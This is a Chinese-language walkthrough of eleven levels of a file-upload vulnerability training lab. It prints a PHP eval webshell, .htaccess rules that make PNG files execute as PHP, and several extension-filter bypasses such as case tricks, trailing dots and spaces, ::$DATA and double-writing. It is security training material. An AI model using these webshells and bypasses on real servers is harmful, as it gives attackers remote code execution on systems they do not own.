pass-01
发现这道题使用的是前端JS代码过滤,所以我们可以直接抓包,修改文件后缀上传
<?php @eval($_POST['cmd']); ?>
查看返回包,找到文件上传的路径,访问文件
这就说明了上传的php文件已经被解析了,接下来可以用蚁剑工具进行连接
测试连接
添加连接
此时已经使用蚁剑成功连接了靶场的webshell权限,可以进行文件创建、修改等操作
pass-02
正常测试文件上传目录,只需判断出上传的木马文件可以被解析即可
<?php phpinfo();?>
查看源码,发现这道题使用的是前端过滤,只允许jpeg,jpg,png文件上传,继续抓包修改文件名后缀上传
访问上传后的文件
pass-03
查看源码,发现是后端黑名单过滤,禁止了php文件上传,且有各种拦截,这时我们可以上传php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml文件,这些文件也会以php文件的形式解析
发现上传成功,但是文件名被修改了,不过问题不大,直接访问
成功被解析
如果出现这种情况,php说明文件没有被解析,这是靶场环境问题
pass-04
查看源码,发现.htaccess文件没有被拦截
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess的用途范围主要针对当前目录。
创建.htaccess文件,代码如下:
方法一:
<FilesMatch "4.png">SetHandler application/x-httpd-php</FilesMatch>
#如果当前目录下有4.png,就会被解析为.php
方法二:
AddType application/x-httpd-php .png
#如果当前目录下有以.png结尾的文件,就会被解析为.php
用第二种方式写.htaccess文件,然后上传pp2.png,成功解析
pass-05
这道题可以用php. .绕过
pass-06
可以用大小写绕过
pass-07
可以空格绕过:Windows操作系统会忽略文件后缀的空格
看路径,查看
pass-08
点绕过:Windows系统下,文件后缀名最后一个点会被自动去除
pass-09
对上传的文件后缀名添加::$DATA,由于Windows的特性在磁盘中会忽略::$data并将文件新建
pass-10
点空格点绕过
pass-11
这里,str_ireplace函数的作用是把文件名中出现deny_ext中的关键字替换为空,所以这里我们可以使用双写绕过